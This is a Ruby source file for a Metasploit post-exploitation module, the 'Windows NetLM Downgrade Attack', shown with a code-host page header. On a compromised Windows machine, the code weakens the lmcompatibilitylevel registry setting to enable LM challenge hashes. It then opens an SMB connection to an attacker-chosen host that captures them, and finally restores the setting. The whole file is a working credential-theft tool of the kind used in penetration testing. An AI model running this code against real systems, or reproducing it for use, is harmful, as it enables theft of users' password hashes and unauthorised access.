113 lines
3.1 KiB
Ruby
113 lines
3.1 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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require 'msf/core/post/windows/registry'
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require 'msf/core/post/windows/services'
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require 'msf/core/post/common'
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class Metasploit3 < Msf::Post
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include Msf::Post::Windows::Registry
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include Msf::Post::Windows::WindowsServices
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include Msf::Post::Common
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include Msf::Post::Windows::Priv
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Windows NetLM Downgrade Attack',
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'Description' => %q{ This module will change a registry value to enable
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the sending of LM challenge hashes and then initiate a SMB connection to
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the SMBHOST datastore. If an SMB server is listening, it will receive the
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NetLM hashes
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Brandon McCann "zeknox" <bmccann [at] accuvant.com>',
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'Thomas McCarthy "smilingraccoon" <smilingraccoon [at] gmail.com>'
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],
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'SessionTypes' => [ 'meterpreter' ],
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'References' =>
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[
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[ 'URL', 'http://www.fishnetsecurity.com/6labs/blog/post-exploitation-using-netntlm-downgrade-attacks']
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]
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))
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register_options(
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[
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OptAddress.new('SMBHOST', [ true, 'IP Address where SMB host is listening to capture hashes.' ])
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], self.class)
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end
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# method to make smb connection
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def smb_connect
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begin
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print_status("Establishing SMB connection to " + datastore['SMBHOST'])
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cmd_exec("cmd.exe","/c net use \\\\#{datastore['SMBHOST']}")
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print_good("The SMBHOST should now have NetLM hashes")
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rescue
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print_error("Issues establishing SMB connection")
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end
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end
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# if netlm is disabled, enable it in the registry
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def run
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# if running as SYSTEM exit
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if is_system?
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# running as SYSTEM and will not pass any network credentials
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print_error "Running as SYSTEM, should be run as valid USER"
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return
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end
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subkey = "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\"
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v_name = "lmcompatibilitylevel"
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netlm = registry_getvaldata(subkey, v_name)
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if netlm.nil?
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print_error("Issues enumerating registry values")
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return
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end
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if netlm == 0
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print_status("NetLM is already enabled on this system")
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# call smb_connect method to pass network hashes
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smb_connect
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else
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print_status("NetLM is Disabled: #{subkey}#{v_name} == #{netlm.to_s}")
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v = registry_setvaldata(subkey,v_name,0,"REG_DWORD")
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if v.nil?
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print_error("Issues modifying registry value")
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return
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end
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post_netlm = registry_getvaldata(subkey, v_name)
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if post_netlm.nil?
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print_error("Issues enumerating registry values")
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return
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end
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print_good("NetLM is Enabled: #{subkey}#{v_name} == #{post_netlm.to_s}")
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# call smb_connect method to pass network hashes
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smb_connect
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# cleanup the registry
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v = registry_setvaldata(subkey,v_name,netlm,"REG_DWORD")
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if v
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print_status("Cleanup Completed: #{subkey}#{v_name} == #{netlm.to_s}")
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else
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print_error("Issues cleaning up registry changes")
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return
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end
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end
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end
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end
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